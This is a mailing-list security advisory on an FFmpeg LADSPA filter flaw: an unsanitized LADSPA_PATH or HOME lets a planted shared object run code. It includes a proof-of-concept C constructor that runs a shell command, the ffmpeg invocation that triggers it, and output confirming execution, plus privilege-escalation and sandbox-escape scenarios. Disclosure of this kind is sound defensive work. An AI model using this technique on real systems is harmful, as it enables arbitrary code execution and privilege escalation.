From: Ron E <ronaldjedgerson () gmail com>
Date: Sun, 7 Sep 2025 02:10:16 -0400
The ladspa audio filter implementation (libavfilter/af_ladspa.c) in FFmpeg
allows unsanitized environment variables to influence dynamic library
loading. Specifically, the filter uses getenv("LADSPA_PATH") and
getenv("HOME") when resolving the plugin shared object (.so) name provided
through the file option. These values are concatenated into a filesystem
path and passed directly into dlopen() without validation or restriction.
Because dlopen() executes the constructor functions of any shared object
immediately upon load, an attacker able to control LADSPA_PATH, HOME, or
write to $HOME/.ladspa or $HOME/.ladspa/lib can execute arbitrary code
inside the FFmpeg process. This issue manifests even if the library does
not export a valid LADSPA interface, because arbitrary code in the
constructor runs before FFmpeg validates the symbol table. The
vulnerability enables arbitrary code execution in the context of the user
or service running FFmpeg. (FFmpeg 7.0--8.0)
Impact
-
*Scope:* Any FFmpeg build configured with --enable-ladspa.
-
*Impact:* Arbitrary code execution by injecting a malicious .so into the
plugin search path.
-
*Attack Vectors:*
-
Manipulation of LADSPA_PATH to point to an attacker-controlled
directory.
-
Placement of malicious .so files in $HOME/.ladspa/ or
$HOME/.ladspa/lib/.
-
*Exploitation Scenarios:*
-
A local attacker sets LADSPA_PATH in a wrapper script or systemd unit
to escalate privileges.
-
A malicious user uploads crafted .so files into a writable directory
used by a multi-user system where FFmpeg runs batch audio processing jobs.
-
Sandbox/container escape if FFmpeg is invoked inside a restricted
environment but $HOME is attacker-controlled.
*Proof of Concept:"evil.c"*
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
__attribute__((constructor))
void init() {
fprintf(stderr, "[*] Evil LADSPA plugin loaded! PID=%d\n", getpid());
system("echo pwned > /tmp/ladspa_poc");
}
--
ffmpeg -f lavfi -i "sine=frequency=1000:duration=1" \
-af "ladspa=file=evil:plugin=whatever" -f null -
*Output:*
--snip--
Input #0, lavfi, from 'sine=frequency=1000:duration=1':
Duration: N/A, start: 0.000000, bitrate: 705 kb/s
Stream #0:0: Audio: pcm_s16le, 44100 Hz, mono, s16, 705 kb/s
[*] Evil LADSPA plugin loaded! PID=1393717
[Parsed_ladspa_0 @ 0xaaaacb6d34e0] Could not find ladspa_descriptor:
/tmp/ladspa/evil.so: undefined symbol: ladspa_descriptor
*Code Execution:*/tmp# cat ladspa_poc
pwned
_______________________________________________
Sent through the Full Disclosure mailing list
https://nmap.org/mailman/listinfo/fulldisclosure
Web Archives & RSS: https://seclists.org/fulldisclosure/
Current thread:
- FFmpeg 7.0+ LADSPA Filter Arbitrary Shared Object Loading via Unsanitized Environment Variables Ron E (Sep 08)